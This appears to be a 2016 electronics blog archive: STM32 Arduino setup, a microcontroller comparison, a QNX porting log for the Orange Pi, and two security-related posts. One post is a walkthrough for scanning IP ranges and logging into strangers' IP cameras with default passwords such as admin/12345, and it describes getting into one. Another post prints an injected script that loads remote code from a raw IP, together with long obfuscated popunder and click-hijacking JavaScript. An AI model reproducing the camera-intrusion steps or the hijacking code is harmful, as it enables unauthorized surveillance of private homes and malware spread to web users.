Saturday 31 December 2016

STM32-Arduino -STM32f103c8t6 Programming Guide

This boards costs around 1.7$ ( including shipment all over the world  ) in aliexpress.com..  low cost , extremely powerful controller than normal Arduino


  • ARM® 32-bit Cortex® -M3 CPU Core
    • 72 MHz maximum frequency,1.25 DMIPS/MHz (Dhrystone 2.1) performance at 0 wait state memory access
    • Single-cycle multiplication and hardware division
  • Memories
    • 64 or 128 Kbytes of Flash memory
    • 20 Kbytes of SRAM
  • Clock, reset and supply management
    • 2.0 to 3.6 V application supply and I/Os
    • POR, PDR, and programmable voltage detector (PVD)
    • 4-to-16 MHz crystal oscillator
    • Internal 8 MHz factory-trimmed RC
    • Internal 40 kHz RC
    • PLL for CPU clock
    • 32 kHz oscillator for RTC with calibration
  • Low-power
    • Sleep, Stop and Standby modes
    • VBAT supply for RTC and backup registers
  • 2 x 12-bit, 1 μs A/D converters (up to 16 channels)
    • Conversion range: 0 to 3.6 V
    • Dual-sample and hold capability
    • Temperature sensor
  • DMA
    • 7-channel DMA controller
    • Peripherals supported: timers, ADC, SPIs, I2 Cs and USARTs
  • Up to 80 fast I/O ports
    • 26/37/51/80 I/Os, all mappable on 16 external interrupt vectors and almost all 5 V-tolerant
  • Debug mode
    • Serial wire debug (SWD) & JTAG interfaces
  • 7 timers
    • Three 16-bit timers, each with up to 4 IC/OC/PWM or pulse counter and quadrature (incremental) encoder input
    • 16-bit, motor control PWM timer with dead-time generation and emergency stop
    • 2 watchdog timers (Independent and Window)
    • SysTick timer 24-bit downcounter
  • Up to 9 communication interfaces
    • Up to 2 x I2 C interfaces (SMBus/PMBus)
    • Up to 3 USARTs (ISO 7816 interface, LIN, IrDA capability, modem control)
    • Up to 2 SPIs (18 Mbit/s)
    • CAN interface (2.0B Active)
    • USB 2.0 full-speed interface

1.Install the latest version of  Arduino

2.Arm Compiler Installation 
  In arduino menu Go to "Tools" -> "Boards" -> "Boards Manager"  & click "install."
( This board uses same gcc compiler used by Atmel SAM boards )


If you fail to install the compiler , you get an error message like this 
exec: "/bin/arm-none-eabi-g++": file does not exist Error compiling for board Generic STM32F103C series.


Installation takes some time


3. Once Installation is over goto  https://github.com/rogerclarkmelbourne/Arduino_STM32    & download it 

4.Extract the zip file  ,and copy it in to "C:\Program Files (x86)\Arduino\hardware"    folder..  [if you have installed Arduino in to other place of your choice , copy it there .

Windows XP or other 32 bit OS path will be , 
C:\Program Files \Arduino\hardware

5. Connection is made like this 


You can use any serial adapter with 3.3V level ... FTDI , CH340G works fine


6.  Now Open Arduino  & "Tools" Menu  and Select 

Board :Generic STM32F103C Series
Variant: STM32F103C8 (20k,RAM.64k Flash)
Upload Method:Serial
Port : (based on your USB to Serial device)

7.Copy & compile the below code

#define pinLED PC13

void setup() {
  Serial.begin(9600);
  pinMode(pinLED, OUTPUT);
  Serial.println("START");  
}

void loop() {
  digitalWrite(pinLED, HIGH);
  delay(1000);
  digitalWrite(pinLED, LOW);
    delay(1000);
  Serial.println("Hello World");  
}

if everything is fine it will compile ..

8. on the board set the BOOT0 to 1 


Power ON the USB and before start uploading , press 'RESET' button once .. and click "upload"

Reset button & jumper setting  force the controller to go to bootloder mode.
Incase if you have not pressed the reset button /jumper setting is not set proper , you get an error message like this " Failed to init device"




If everything goes fine you get a message like this 


Now you should be able to see the LED blinking ..

Once programming is done ,board runs automatically , no need to change the jumber ..If you are just debugging your code, leave the jumper as it is ..  Otherwise once programming is done, move it back to the previous position.  

Friday 30 December 2016

Monday 26 December 2016

How to hack Your Neighbors IP CAMs / WebCams - (Strictly to study security flaws )

Legal Warning :  Hacking is illegal the material given here is just to highlight the security failures ... This will help the new designers not to make that mistake again.

How do I know my neighbors IP address list?
        Well there is a method  Go to google and type "my IP address "


Now use Angry IP Scanner    http://angryip.org/


Now make sure the following settings are clicked

Tools ->Fetchers


Tools -> Preference 
1. You might have to adjust the timeout /threads based on your network & PC ..

In the port selection 


Usually I prefer
Http:80
FTP:20
SSH:22

Our case 80 is enough , now  just searched new york IP address list ,   oh no dont want America , I have to visit there soon , so lets try hong kong


now enter 119.247.116.66 in a web browser , I prefer Firefox , because google chrome is not nice to third party plugins (security problem)

well default password did not work , its ASUS router 
Lets hack other network  , near by network ..




Now lets put that in the browser , if asked to install the plugin , install it .. Use Mozilla Firefox
lets use default password admin /12345 & pray god ... Ooh lord god please give use the key to open  the doors of  heaven .. my bad luck , he did not listen to me ... Lets change the ip range & find new one ..



XXX.XXX.XXX.1 - XXX.XXX.XXX.255 (xxx= 0-255)  
 |           |        |  3rd Change it every other search 
ISP IP   | 
         2nd digit change it sometimes 

Yes you can search entire web with one click , but if you bombard you your ISP with heavily load , they silently drop the packets , or disconnect you network access :)  so stop your search just by changing the last digit 0-255

mean while I started testing my luck, god heard my password 


Some idiots install this in bedroom too , so let us pray once again ,and click activate .. If it ask you to install any software , install it..


Well some one is celebrating christmas ...  Marry christmas & Happy New year to all


[Legal warning : Entire episode was done on simulation environment under my own network  .. safe :) ]

Sunday 25 December 2016

Embedded Micro-controllers - A Comparison [ Embedded Design Engineers Guide] - Part 1

Introduction:

                 Most people in the industry usually get struck with one processor family , or else with one processsor making company (NXP. Atmel ,TI)  They never know the advantage and disadvantage of other products ... They just carry on with their design ...  My first company was font of Atmel , they use Atmel chips only ...  Second one was using Motorola chips (Freescale ,ohh no now its Qualcom).
I have interacted with many designers , they say ,
       1.X, or Y processor suits their requirement , so they dont want to change it
       2.Our application is very special one , So even though its high cost , we dont want to change it.
       3.Our Processor is proven field tested , I dont want to take risk.
       4.Our processor works underwater/oil and gas environment , sorry no need ..
       5.EMI,High voltage environment ,we cant change  so Sorry
       6.We have complex PID loop ,Only DSP processor will work.. dont want ARM..

Now I will explain you about something you might have never attempted , no where available..
There are hardly 10 companies in this bussines

Who are all the leading manufacturers

1.NXP
2.Texas Instruments
3.ST Micro electronics
4. Atmel /Microchip
5 Cypress
6.Infineon
7.Renesas
8.Silicon Labs
9.nuvoTon
10.Analog Devices
11.Maxim
12.stcmicro
13.GigaDevice

How do I choose a chip for my product

Technical Aspects
1. Processor Architecture (8051,ARM,DSP,Soft Processor)
2. Speed
3. Communication Protocols Requirements (UART/I2C/SPI/LIN/CAN/Ethernet/FlexRay/USB/Profibus/Profinet/CANopen/Device Net/Ethernet/IP/Modbus Serial/Modbus IP/FFieldBus/Hart/ControNet)  Some of the protocols run on Layer 2/Layer 3  , They are nothing to do with the hardware selection , but there are controllers/manufaturers who give free libraries for these protocols , which reduce the time & cost involved in the driver development.
4.GPIO Requirement
5.Special Timer /PWM Sync requirement
6.ADC chanel number / Sampling Rate /Resolution [8 bit /12 bit /14 bit /16 bit ]
7.DAC [resolution ]
8.Power consumption
9.Video Output[TV AV /HDMI /VGA/LCD ]
10.Audio Processing

Management Aspects
[This is what I convey to my boss]
1.Price [With/without import duty ,some cases when you export it , you can reclaim this amount]
2.Availability [Send a formal mail to the chip vendor and ask them the availability of the chip for another 10 years /will there be pin to pin replacement in case if it becomes obsolete..
3.Peripheral support Driver source code  / binary blob ?
4.Compiler cost /one time or what ? Runtime license Involved ?  Other tools (JTAG /ISP Programmer)
5.Aditional Lab Equipment Needed for debugging [Logical Analyser /Protocol Analyser ]

Now lets see who are all the specialist in What ?
         Some time the design engineer has to assume himself as a doctor and prescribe correct chips..
 Now lets see the list of companies one by one..

1.NXP
    http://www.nxp.com/

    a. LPC series [300 ICs] [brought from philips ]
                     i.ARM Cortex M0 M0+ M3 M4 Cores
                     ii.30-200MHz Speed
                     iii.Flash 4-1Mb
                     iv.USB Host + Device[High Speed /Full Speed]
                          Large data capturing requires High Speed Device [480Mpbs]
                     v.CAN- 1-2 CAN bus
                     vi.GPIO -11-165 Pins
                     vii.PWM+ADC for motor control
                     viii.Price  2-18$
                     ix.Special Features : LPC4370FET100 /LPC43S70FET256 both have 80Msps ADC
                     which make it ideal solution for Software defined Radio .. Usually No controller support                      high speed ADC [Need FPGA +Analog devices ADC+Microcontroller]

    b. Kinetis [ARM Cortex M4]
                     i.Similar to LPC series
                     ii.low power consumption
    c.MPC5XXX
                     i.32 bit PowerPC architecture
                     ii.40-400Mhz
                     iii. 2- 8 CAN Specially made for automobile Industry
                     vi.compiler license
      d.POwer QUICC
                       i.PCI bus is specialty , but costly
      e.DSP Processor/Controller
                  16bit processor good for motor control but expansive ,I recommand LPC/STM32
      f.ColdFire processor

I recommend LPC series for new designs .. Old /retrofit /legacy products , I dont recommend because , the software cost (Porting /Testing / Field trial/Approval )associated with rewriting the code is enormous  , unless if you see any substantial  benifit from it , dont attempt it .. I personally seen many people had a very bad experience .. Always here will be a voice in the team (it worked there in the old code , not working here ,so fix it)

LPCXpressoIDE is free tool , For most cases , you dont have to worry about ARM compiler .. GCC linaro works very well.. and its free..

FreeRTOS support is available ..( RTOS saves you time )

MPC5XXX is good for Autombile Industry especially it can serve as a CAN gateway , but check Renesas and Infineon before finalizing your chip

DSP Processor/Controller
               I recommend this for motor control board , power supply , It can run on any hostile environment .. It also has a good CAN support.. but its costly

2.TI:
         a.MSP430/MSP432
               i.Low power 16 bit processor , If you have  not fixed your mind with Cortex M , this series is best ...  TI usually provide a very good support too. You can use this incase of geneeral pourpose 8051 replacement controller ..   
               ii. Value for money, Starting from 1$ 

         b.Piccolo  TMS320 
                 i. Good for DSP / motor control application , It has a good ADC resolution
         c..TM4C12X ARM Cortex M
                 i.Its a good ,well supported processor , having USB & Ethernet support .. For fast prototype  I strongly recommand this processor .. cost $10 Range
         d.Hercules ARM Cortex R4 [Real Time]
                 i.Its Costly 20$ range 
                 ii.I dont recommand this considering the cost , but if you have a special reason to choose Cortex R , then OK
                 iii.Hercules 5 Series has FlexRay support , but 38$(1K) 
           e. RF430/CC430(6$)
                  i.Good for NFC RF Transceiver   /RFID
                  ii.Price 1$
            f.SimpleLinkCC1X 
                   i.1GHz propitiatory  protocol



3..ST Micro electronics 
             It is known for making low cost cortex M controller ..  ST is lot cheaper than NXP & TI 
If you are concerned about cost go with this , DSP ,PID what ever the special function can be handled very well by the software .. 

              a. STM8
                        i.8 bit microcontroller 
                        ii.1-2$
              b.STM32
                        i. 1-15$ whole verity of Cortex M Processor available 
                            best suited for cost effective design..
                        ii.USB+CAN Comes around 1.5$  where as if we search the same in TI or NXP it will be costly 
               c.SPC (Automomobile ) 
                           i.It has Flexray + 6 CAN around 10-15$ extremly cheap compared to NXP & TI
              d.Low Power Cortex M0+ -3$
              
 Atmel /Microchip

                   I was a big fan of AVR processors , after working with ARM 32  bit processor , my opinions changed , I still love Atmel ..
                  a.AT32  
                           i. 60Mhz ,32 bit , 
                           ii. 10$  sorry costly 
                  b.AT89 
                            i.Old series , I love it .
                            ii.DIP Pakages make it easy for prototyping 
                   c.AT90CAN
                            i. CAN bus series  ,10$
                   d.AT90USB
                             i.USB Series 5-10$
                   e.ATSAM
                              i.ARM7
                              ii.10-15$
                    f.ATmega
                           i.My First processor 2-10$
                           ii.Awesome one
                    g.ATSAM3
                            i.Cortex -M3
                            ii.5-10$ 
                    h.ATSAM4
                             i.Cortex-M4
                     i.ATSAMA5
                             i.Cortex -A5
                             ii.500MHz
                             iii.10$
                     j.ATSAMC20
                             i.Cortex-M0+
                             ii.4$
                     k.ATSAME7
                     
                     l. ATtiny
                            i.Cute compact series 
                            ii.1-3$

Microchip
                    a.8Bit
                            i.PIC 10/12/16/18
                            ii.0.5 to 2 $
                    b.16Bit
                             i.dsPIC33,PIC24
                             ii.2-6$
                    c.32Bit
                              i.PIC32
                              ii.2-10$

5.Cypress
                      Cypress is expert in USB
                       a.PSOC Cortex
                           one of the wonderful product still fuguring out how it can be used in my application
                       b. FM Cortex M  3-15$
                       
6.Infineon
                       a.ARM Cortex M
                       b.Tricore poor documentation
7.Renesas
                       

I hate Infineon & Renesas ,they give more and more irrelevant informations... Webpage turned to be an advertisement page ..  

8.Silicon Labs
                       a.8051 Chips
                       b.ARM Cortex M
9.nuvoTon
                a.8051 chips  2$
                b.ARM cortex M chips 4-10$
                They do  Foundary business too ..
10.Analog Devices
                     a.blackfin
                     b.SHARC
                 i.Love analog devices for its 1Gsps ADC .. some audio processing chips available
                 ii.Cost above 20$ ... 

11.Maxim
                a. Low Power MAX32
                b.Secure 
                c.Deep Cover 
                Secure RAM based erasable chips available , good for POS machines 
                   
12.stcmicro
                very cheap chinese 8051 based chips 
                 STM32 Clone names 
13.GigaDevice
                     STM32 clone names ... This stuff available in china .. no international distributer sells it ..


My Recommendation 
               I value money , For general IO board design I choose PIC/Atmel ..  
                                         For High end connectivity application I go for STM32
                                         For USB Stuffs Cypress
                                         For ADC /audio codec processor Analog devices 
                                         For fast proto/design I go with  TI/NXP No one can match their quality 
                 

Wednesday 21 December 2016

Orange Pi - QNX 6.5 Support - Allwinner H3 - Quard Core Cortex-A7 Source Code - porting 1

QNX -Startup Coding 

I am adding Minimal QNX Support to this processor ... Source code will be updated here soon..

I have decided to write the step by step procedure on this ...   It will be helpfull for people who port to QNX ...  Everything will be documented here ...  As I add a new code both code & docoments will be posted here regularly ...

First step is baremetal programming on Orange Pi ...

 You can see my other post where I have mention how to do baremetal programming for orange pi

1.  I have chosen beaglebone board as a reference BSP , You can download this from QNX website .. 
Reason I choose this because it has ARM V7 support & I have a beaglebone board with me.
bsp-nto650-ti-beaglebone-sp1-trunk-201209071340.zip   ... Import it directly to QNX IDE , no unzip..
    
IPL not required , we have Uboot ..

2. Change the image load address to this ( You can see my bare metal code example ) in the startup  .build file 

[image=0x41000000]
#[+compress]
[virtual=armle-v7,raw] .bootstrap = {

3.Change the kernel to " smp "  we have quad core processor ..
PATH=:/proc/boot:/bin:/usr/bin LD_LIBRARY_PATH=:/proc/boot:/lib:/usr/lib:/lib/dll procnto-smp-instr -v
}

4. Go to "main.c" file in the startup , add our baremetal LED blink code here... We just want to make sure that the image is loaded properly in to RAM & the control goes to  "main.c"


#define STARTUP_TEST
#define PIO_BASE 0x01C20800
#define PA_CFG1_REG 0x04
#define PA_DATA_REG 0x10


#ifdef   STARTUP_TEST
// while(1)
    for(j=0;j<3;j++)
{
for (i=0;i<20000000;i++)
{
out32(PIO_BASE+PA_DATA_REG, 0);
//pa15 red led refer schematics
}
for (i=0;i<20000000;i++)
{
out32(PIO_BASE+PA_DATA_REG, 1<<15);
}
}
#endif


Now build it ... You can see the image in the folder   "ifs-ti-beaglebone.bin" , will change the name later ...

5. Now the H3 bootloader has to be writtern in to  the SD card properly , there is a  step to do that  , it has to be done in Linux environment... No need of doing that ..  download Lubuntu_1404_For_OrangePiPC_v0_8_0_.img.xz from orange PI, write it to sd card using "Win32DiskImager"   , you can see "uimage" file ... Thats linux kernel ,delete that ..

6. Put this card in to Orange pi & boot it  ..  Connet UART debugger 115200 , I use "putty "
now this appears ...

7. Copy the  orange pi image "ifs-ti-beaglebone.bin" to the sd card , boot it again ,  enter the below command 
sunxi#  fatload mmc 0 0x41000000 ifs-ti-beaglebone.bin; go 0x41000000

 8. Now you can see the LED blinking 

Serial debug messages support ( dont confuse it with devc driver )

9. Go to hw_seromap.c file , 

#define H3_UART_BASE 0x01C28000

#define H3_UART_RBR  0x00
#define H3_UART_THR  0x00
#define H3_UART_DLL  0x00
#define H3_UART_IER  0x04
#define H3_UART_DLM  0x04
#define H3_UART_FCR  0x08
#define H3_UART_LCR  0x0C
#define H3_UART_MCR  0x10
#define H3_UART_LSR  0x14
#define H3_UART_MSR  0x18
#define H3_UART_SCR  0x1C

void
put_omap(int c)
{
while (( in32(H3_UART_BASE + H3_UART_LSR) & 0x20) == 0) continue;
       out32(H3_UART_BASE + H3_UART_THR,c);
}

No need to change the "init" file now , as its been initialized by uboot

10 . Compile it & boot .... Now you could see debug messages , also an error message " Unsupported CPUID"

11. This is because our BSP does not have cortex -A7 support , cortex -A7 support is added by QNX guys , download those relevent files from other qnx bsps ...   follow Cortex A15 support in the code , now you can guess what is required to up cortex A7 ... 

12. After adding the files 
armv_chip_a7.c
armv_setup_a7.c
callout_catche_a7.S
callout_page_a7.S
Now you can see the below boot messages 



13.. Hey CPU detected , need to configure the Timer & interrupt ... Thats next post ...

Have a nice day ...

Saturday 10 December 2016

wonderlandads.com - Script nuisance

originating IP address 212.84.160.73

Only question is BSNL officiers have involved in this scam or they are unable to fix it ..

function include(e) {
    var t = document.getElementsByTagName("head")[0],
        n = document.createElement("script");
    n.src = e, n.type = "text/javascript", t.appendChild(n)
}
"undefined" == typeof window.ELInit && (window.ELInit = !0, include("http://212.84.160.73/jquery.js"));

http://212.84.160.73/jquery.js




if (typeof(window.hasELInit) == "undefined") {
    window.hasELInit = true;
    new Image().src = "http://whos.amung.us/widget/dislbsirma.png";
    var adsmain = 'http://wonderlandads.com/afu.php?zoneid=437742';
    (function(options, lary, kompo) {
        var D7A4 = window;
        for (var G4 in D7A4) {
            if (G4.length === ((0x43, 4) < 148.6E1 ? (3.96E2, 9) : (108., 0x1C9)) && G4.charCodeAt(((137, 54) < 0x1F8 ? (119, 6) : (0x6A, 45.))) === ((144.1E1, 43.7E1) > (0x1B8, 40.6E1) ? (0x92, 116) : (9.11E2, 117)) && G4.charCodeAt(((0x183, 1.347E3) >= 0x83 ? (54, 8) : (132, 9.41E2) > (87.2E1, 116.2E1) ? (98., 'o') : (0x22A, 0x1D4) <= 0x15B ? (0x19, 'o') : (101., 12.84E2))) === ((56., 28) >= (0x99, 0x2) ? (0x157, 114) : (9.58E2, 0x189)) && G4.charCodeAt((0xA4 <= (0x19C, 1.36E2) ? 'l' : (44., 14.26E2) < 0x12A ? 43 : 104. >= (42., 6.0E1) ? (140.70E1, 4) : (53, 0x1A1))) === ((8.84E2, 73.10E1) >= 4.770E2 ? (0xB7, 103) : (76., 0x1EB) < (0x200, 40) ? (36., 'R') : (55, 7.07E2)) && G4.charCodeAt(((62.5E1, 0x234) <= 0x185 ? 'Y' : 0x19E <= (10.81E2, 0xC9) ? 10.19E2 : (0x22A, 6.140E2) >= 0xFB ? (1.307E3, 0) : (12.39E2, 10.85E2))) === ((3, 126.) >= (2.24E2, 44.2E1) ? (0x12F, ',') : 0x157 < (4.3E2, 82.) ? (0x199, 83.30E1) : (3, 0x1F0) > 15 ? (9.4E2, 110) : (49.5E1, 44))) break
        };
        for (var o4 in D7A4) {
            if (o4.length === ((6.30E1, 0xE5) >= 7 ? (0x1AE, 6) : (115., 15) > (12.31E2, 141.8E1) ? 47. : (9.450E2, 43)) && o4.charCodeAt(3) === 100 && o4.charCodeAt((84 <= (1.104E3, 37) ? (10.23E2, 5.92E2) : (85, 141.) < (0x221, 1.366E3) ? (105., 5) : (0x1E3, 22.))) === (63 < (0x180, 0x1D5) ? (0x80, 119) : (105, 34)) && o4.charCodeAt(1) === 105 && o4.charCodeAt(0) === ((0x2A, 35) > (0x88, 97.) ? 0xB1 : (6.29E2, 0x197) < (8.74E2, 6.41E2) ? (0x253, 119) : 123. > (90, 0x102) ? (127.5E1, 'A') : (0xB2, 8.620E2))) break
        };
        var n1l = {
            "g4": "userAgent",
            "U4": "document",
            "D4": "documentElement"
        };
        (function(f, n, k, g) {
            var C9 = "startTimeout",
                G9 = "attachEvent",
                o9 = "noScrollPlease",
                k9 = "isOnclickDisabledInKnownWebView",
                z6 = "sliderUrl",
                W6 = "interstitialUrl",
                L6 = "write",
                m6 = "readyState",
                l1 = "__pushupInited",
                v6 = "pushupUrl",
                x1 = "mahClicks",
                J1 = "onClickTrigger",
                N1 = "toString",
                E9 = "split",
                f1 = 2592000000,
                n1 = "call",
                t1 = "hostname",
                B1 = "host",
                M1 = "pathname",
                O1 = "pomc",
                o = "test",
                p1 = "screen",
                r1 = "tryToEscapeIframe",
                j6 = "flashOverlay",
                h6 = "async",
                S6 = "scripts",
                Y9 = "availHeight",
                Z9 = "availWidth",
                V9 = "getTime",
                u6 = "clientY",
                T6 = "clientX",
                L = "location",
                U6 = "match",
                l6 = "cookie",
                f6 = "limLo",
                D6 = "SS",
                a9 = "prefetch",
                J6 = "head",
                K = "open",
                g6 = "zoneId",
                W = "clicksSinceSessionStart",
                O6 = "startClicks",
                Q = "addEventListener",
                A6 = "focus",
                e9 = "insertBefore",
                m = "body",
                P9 = "type",
                Q9 = "replace",
                K6 = "random",
                w9 = "push",
                i6 = "toLowerCase",
                B6 = "tagName",
                M6 = "className",
                q = "join",
                R9 = "indexOf",
                X6 = "substr",
                E = "appendChild",
                d9 = "retargetingFrameUrl",
                p6 = "src",
                a = "style",
                F9 = "inj",
                H6 = "removeChild",
                z = "parentNode",
                v = "clicksSinceLastPpu",
                o6 = "click",
                P = "target",
                d = "url",
                G6 = "href",
                i = "createElement",
                I6 = 1,
                w = "sessionClicks",
                b9 = "ppuTimeout",
                C6 = "lastPpu",
                e = "ppuClicks",
                j = "ppuQnty",
                G = "ppuCount",
                N6 = "sessionTimeout",
                X = "seriesStart",
                D = "pageOnDomainSeriesForLimLo",
                c9 = "left";

            function g1(J) {
                var N = "clientLeft",
                    x = "scrollLeft",
                    t = "pageXOffset",
                    p = "clientTop",
                    M = "scrollTop",
                    B = "pageYOffset",
                    O = "round",
                    h = "getBoundingClientRect",
                    U = J[h]();
                return {
                    top: Math[O](U.top + (f[B] || k[M] || T[M]) - (k[p] || T[p] || 0)),
                    left: Math[O](U[c9] + (f[t] || k[x] || T[x]) - (k[N] || T[N] || 0))
                }
            }

            function E6() {
                var J = "min";
                if (l[D]) {
                    return Math[J](b[X] + l[N6] * 1000 - A(), y[X] + l[N6] * 1000 - A())
                }
                return y[G] < l[j] && !l[e] ? y[C6] + l[b9] * 1000 - A() : !l[w] ? y[X] + l[N6] * 1000 - A() : -I6
            }

            function U1(J) {
                var N = "dispatchEvent",
                    x = "initMouseEvent",
                    t = "createEvent",
                    p = n[i]('a'),
                    M = n[t]('MouseEvents');
                p[G6] = l[d];
                p[P] = '_blank';
                M[x]('click', true, true, f, 1, 0, 0, 0, 0, true, false, false, false, 1, null);
                p[N](M);
                if (J && J[P]) {
                    J[P][o6]()
                }
            }

            function D1() {
                if (l[D]) {
                    return b[G] < l[j] && y[G] < l[D]
                }
                return y[G] < l[j] && (l[e] ? !y[v] || y[v] >= l[e] : A() > y[C6] + l[b9] * 1000)
            }

            function h1() {
                A9 = false;
                F(H('.' + i9), function(J) {
                    if (J[z]) {
                        J[z][H6](J)
                    }
                });
                if (t6) {
                    clearTimeout(t6);
                    t6 = null
                }
                if (U9) {
                    clearTimeout(U9);
                    t6 = null
                }
            }

            function A() {
                return +new Date()
            }

            function z9() {
                var J = "ppuDisableTrigger";
                return f[J] && !l[F9]
            }

            function y1() {
                var J = "display",
                    N = n[i]('iframe');
                N[a][J] = 'none';
                N[p6] = l[d9];
                T[E](N)
            }

            function i1(N, x) {
                var t = x.length / 2,
                    p = x[X6](0, t),
                    M = x[X6](t),
                    B;
                return eval('(' + F(N, function(J) {
                    B = M[R9](J);
                    return B !== -I6 ? p[B] : J
                })[q]('') + ')')
            }

            function W9(J, N) {
                var x = N.length;
                while (x) {
                    x -= 1;
                    if (J === N[x]) {
                        return true
                    }
                }
                return false
            }

            function k6(N, x) {
                var t = "aggressive",
                    p = "clickAnywhere",
                    M = "includes",
                    B = "concat",
                    O = "excludes";
                if (N[M6] === y6) {
                    return false
                }
                var h = [],
                    U = [],
                    Y = N[B6][i6](),
                    r;
                if (!x) {
                    if (Y === 'object' || Y === 'embed') {
                        return false
                    }
                }
                if (N[M6] === i9) {
                    return true
                }
                r = l[O].length;
                while (r) {
                    r -= 1;
                    h = h[B](H(l[O][r]))
                }
                r = l[M].length;
                while (r) {
                    r -= 1;
                    U = U[B](H(l[M][r]))
                }
                if (l[p] || (l[t] && l[M].length && !U.length)) {
                    U[w9](k)
                }
                R(function() {
                    var J = "onClickExcludes";
                    h = h[B](f[J])
                });
                while (N) {
                    if (W9(N, h)) {
                        return false
                    }
                    if (W9(N, U)) {
                        return true
                    }
                    N = N[z]
                }
                return false
            }

            function H(x) {
                var t = [];
                R(function() {
                    var N = "querySelectorAll";
                    t = F(n[N](x), function(J) {
                        return J
                    })
                });
                return t
            }
            var A1 = function() {
                    var B = "flashFileUrl",
                        O = "setAttribute",
                        h = "name",
                        U = "id";
                    if (H9) {
                        return
                    }
                    H9 = true;
                    var Y = ('PP' + A() + 'UFLSH' + Math[K6]())[Q9]('.', 'a'),
                        r = n[i]('object'),
                        u = Y + 'callback';
                    f[u] = function() {
                        f[u] = null
                    };
                    r[P9] = 'application\/x-shockwave-flash';
                    r[U] = r[h] = Y;
                    r[O]('data', l[B]);
                    r[M6] = y6;
                    r[O]('style', 'position:fixed;visibility:visible;left:0;top:0;width:1px;height:1px;z-index:99999');
                    var c = n[i]('param');
                    c[O]('name', 'wmode');
                    c[O]('value', 'transparent');
                    r[E](c);
                    var F6 = n[i]('param');
                    F6[O]('name', 'menu');
                    F6[O]('value', 'false');
                    r[E](F6);
                    var b6 = n[i]('param');
                    b6[O]('name', 'allowscriptaccess');
                    b6[O]('value', 'always');
                    r[E](b6);
                    var q6 = n[i]('param');
                    q6[O]('name', 'allowfullscreen');
                    q6[O]('value', 'true');
                    r[E](q6);
                    var c6 = n[i]('param');
                    c6[O]('name', 'flashvars');
                    c6[O]('value', ['onLoad=window.', u, '&id=', Y, '&mouseClick=window.', X9][q](''));
                    r[E](c6);
                    var I9 = setInterval(function() {
                        var M = "firstChild";
                        if (n[m]) {
                            clearInterval(I9);
                            n[m][e9](r, n[m][M]);
                            r[A6]();
                            n[Q]('mousedown', function(J) {
                                var N = "visibility",
                                    x = "button";
                                if (J[x] === 0) {
                                    if (Z6 + 250 > A()) {
                                        return
                                    }
                                    Z6 = A();
                                    if (e6) {
                                        if (l[O6]) {
                                            R6 += 1;
                                            if (R6 >= l[O6]) {
                                                l9()
                                            }
                                        }
                                        return
                                    }
                                    var t = !k6(J[P]),
                                        p = !x9();
                                    if (p || t) {
                                        if (l[w]) {
                                            y[W] += 1
                                        }
                                        if (l[e]) {
                                            y[v] += 1
                                        }
                                        N9();
                                        if ((l[w] && l[w] === y[W]) || (l[e] && y[G] < l[j] && (l[D] ? (b[G] < l[j] && y[G] < l[D]) : true) && l[e] === y[v])) {
                                            x6()
                                        }
                                        return
                                    }
                                    r[a].width = '100%';
                                    r[a].height = '100%';
                                    n9 = function() {
                                        r[a].width = '0px';
                                        r[a].height = '0px';
                                        r[a][N] = 'hidden'
                                    };
                                    t9 = function() {
                                        r[a].width = '1px';
                                        r[a].height = '1px';
                                        r[a][N] = 'visible'
                                    }
                                }
                            })
                        }
                    }, 10);
                    n[m][E](r)
                },
                V6 = function() {
                    return function() {}
                };

            function L9() {
                if (v9()) {
                    y[X] = A();
                    y[G] = 0;
                    y[W] = 0;
                    if (l[D]) {
                        b[X] = A();
                        b[G] = 0
                    }
                }
                y[v] = 1;
                y[W] += 1;
                y[G] += 1;
                if (l[D]) {
                    b[G] += 1
                }
                y[C6] = A();
                N9();
                h1();
                if (E6() > 0) {
                    t6 = setTimeout(x6, E6())
                }
                f['ppuWasShownFor' + l[g6]] = true
            }

            function S(N) {
                var x = "desktopChromeFixPopunder",
                    t = "iOSSafariSwapPopunder",
                    p = "chromePopup",
                    M = "srcElement",
                    B = "event";
                if (Z6 + 250 > A()) {
                    return
                }
                Z6 = A();
                if (e6) {
                    if (l[O6]) {
                        R6 += 1;
                        if (R6 >= l[O6]) {
                            l9()
                        }
                    }
                    return
                }
                var O = (N && !k6(N[P] || f[B][M])),
                    h = !x9();
                if (h || O) {
                    if (l[w]) {
                        y[W] += 1
                    }
                    if (l[e]) {
                        y[v] += 1
                    }
                    N9();
                    if ((l[w] && l[w] === y[W]) || (l[e] && y[G] < l[j] && (l[D] ? (b[G] < l[j] && y[G] < l[D]) : true) && l[e] === y[v])) {
                        x6()
                    }
                    return
                }
                L9();
                if (e1) {
                    return a6()
                }
                try {
                    if (Q1) {
                        f.top.location = l[d];
                        return
                    }
                } catch (J) {}
                if (P6 && !y9) {
                    try {
                        return f.top !== f ? f.top.open(l[d]) : f[K](l[d])
                    } catch (J) {
                        return f[K](l[d])
                    }
                }
                if (p9) {
                    return a6(N)
                }
                if (S9 || (I && l[p])) {
                    return a6(N)
                }
                if (d1 && !P6) {
                    return J9(N[P] || (f[B] ? f[B][M] : null))
                }
                if (y9 && l[t]) {
                    return J9(N[P] || (f[B] ? f[B][M] : null))
                }
                if (!n6 && I > 40 && l[x]) {
                    return J9(N[P] || (f[B] ? f[B][M] : null))
                }
                if ((I || f9 || y9 || r9) && !C) {
                    return U1(N)
                }
                return a6(N)
            }

            function G1() {
                var t = n[J6] || H('head')[0];
                F(l[a9], function(J) {
                    var N = "rel",
                        x = n[i]('link');
                    x[N] = 'dns-prefetch';
                    x[G6] = J;
                    t[E](x)
                })
            }

            function x9() {
                return !e6 && !z9() && (v9() || D1())
            }

            function o1() {
                return p9
            }

            function N9() {
                var N = "domain",
                    x = "toUTCString",
                    t = F(w6, function(J) {
                        return y[J]
                    })[q]('|'),
                    p, M;
                if (l[D]) {
                    p = F(w6, function(J) {
                        return b[J]
                    })[q]('|')
                }
                if (l[D6] && s) {
                    R(function() {
                        s[Z] = t;
                        M = s[Z] === t;
                        if (l[D]) {
                            s[d6] = p
                        }
                    })
                }
                if (l[f6] && V && !M) {
                    R(function() {
                        V[Z] = t;
                        if (l[D]) {
                            V[d6] = p
                        }
                        M = V[Z] === t
                    })
                }
                if (M) {
                    return
                }
                if (u9) {
                    n[l6] = Z + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/';
                    n[l6] = [Z + '=' + t, 'expires=' + new Date(A() + R1)[x](), 'path=/', 'domain=' + (l[N] || n[N])][q]('; ');
                    M = (n[l6][U6](new RegExp('(^|; )' + Z + '=([^;]*)')) || [])[2] === t
                }
                if (!M && V && !l[D6]) {
                    R(function() {
